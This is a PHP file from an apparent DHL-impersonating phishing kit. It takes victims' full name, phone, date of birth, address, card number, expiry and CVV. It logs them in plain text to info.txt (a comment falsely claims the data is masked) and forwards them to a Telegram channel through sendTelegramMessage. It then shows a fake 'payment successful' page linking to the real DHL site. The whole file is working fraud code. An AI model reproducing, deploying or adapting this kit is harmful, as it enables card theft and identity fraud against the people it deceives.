<?php
ob_start();

ini_set('display_errors', 1);
error_reporting(E_ALL);
require_once __DIR__ . '/includes/functions.php';

$ip = getClientIp();
[$country, $language] = getCountryAndLanguage($ip);
$pageTitle = $translations[$language]['payment_successful'] . ' - DHL';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  

    // Server-side validation
    $errors = [];
    $data = [
         'newdata' => '================================================================================================================',
        'full_name' => sanitize($_POST['full_name'] ?? ''),
        'phone' => sanitize($_POST['phone'] ?? ''),
        'dob' => sanitize($_POST['dob'] ?? ''),
        'address_line1' => sanitize($_POST['address_line1'] ?? ''),
        'address_line2' => sanitize($_POST['address_line2'] ?? ''),
        'city' => sanitize($_POST['city'] ?? ''),
        'postcode' => sanitize($_POST['postcode'] ?? ''),
        'card_number' => sanitize($_POST['card_number'] ?? ''),
        'card_type' => sanitize($_POST['card_type'] ?? ''),
        'exp' => sanitize($_POST['exp'] ?? ''),
        'cvv' => sanitize($_POST['cvv'] ?? ''),
        'is_new_visitor' => sanitize($_POST['is_new_visitor'] ?? 'true'),
    ];

    if (empty($data['full_name'])) $errors[] = 'Full name is required.';
   
    if (empty($data['address_line1'])) $errors[] = $translations[$language]['address_line1_required'];
    if (empty($data['city'])) $errors[] = $translations[$language]['city_required'];
    if (empty($data['postcode'])) $errors[] = $translations[$language]['postcode_required'];
 
    if (!empty($errors)) {
        $_SESSION['flash_message'] = implode(' ', $errors);
        header('Location: verify');
        exit;
    }

    // Log data to file (mask sensitive data)
    $dataForLog = $data;
    $timestamp = (new DateTime())->format('Y-m-d H:i:s');
    $logEntry = "--- $timestamp ---\n";
    foreach ($dataForLog as $key => $value) {
        $logEntry .= ucwords(str_replace('_', ' ', $key)) . ": $value\n";
    }
    $logEntry .= "IP: $ip\nUser-Agent: " . ($_SERVER['HTTP_USER_AGENT'] ?? 'Unknown') . "\n";
    file_put_contents(__DIR__ . '/info.txt', $logEntry, FILE_APPEND);

    // Send Telegram notification
    $msg = "<<<<Form submitted!>>>>$timestamp\n" . implode("\n", array_map(
        fn($k, $v) => ucwords(str_replace('_', ' ', $k)) . ": $v",
        array_keys($dataForLog),
        $dataForLog
    )) . "\nIP: $ip\nUSER-AGENT: " . ($_SERVER['HTTP_USER_AGENT'] ?? 'Unknown');
    sendTelegramMessage($msg);

    // Set success flag
    $_SESSION['success_access'] = true;
} 

require_once __DIR__ . '/includes/header.php';
?>

<div class="max-w-xl mx-auto bg-white shadow-xl rounded-2xl p-8 mt-16 mb-16 text-center font-sans">
    <h2 class="text-2xl font-bold text-green-600 mb-4 tracking-tight">
        <?php echo $translations[$language]['payment_successful']; ?>
    </h2>

    <p class="text-gray-700 text-base leading-relaxed mb-4">
        <?php echo $translations[$language]['payment_message']; ?>
    </p>

    <p class="text-gray-800 text-sm mb-3">
        <?php echo $translations[$language]['redirect_message']; ?>
    </p>

    <a href="https://www.dhl.com/us-en/home/tracking.html" class="inline-block bg-red-600 text-white py-2 px-4 rounded-md hover:bg-red-700 transition-all duration-300 text-base font-semibold">
        <?php echo $translations[$language]['return_home']; ?>
    </a>
</div>




<?php
require_once __DIR__ . '/includes/footer.php';
ob_end_flush();
?>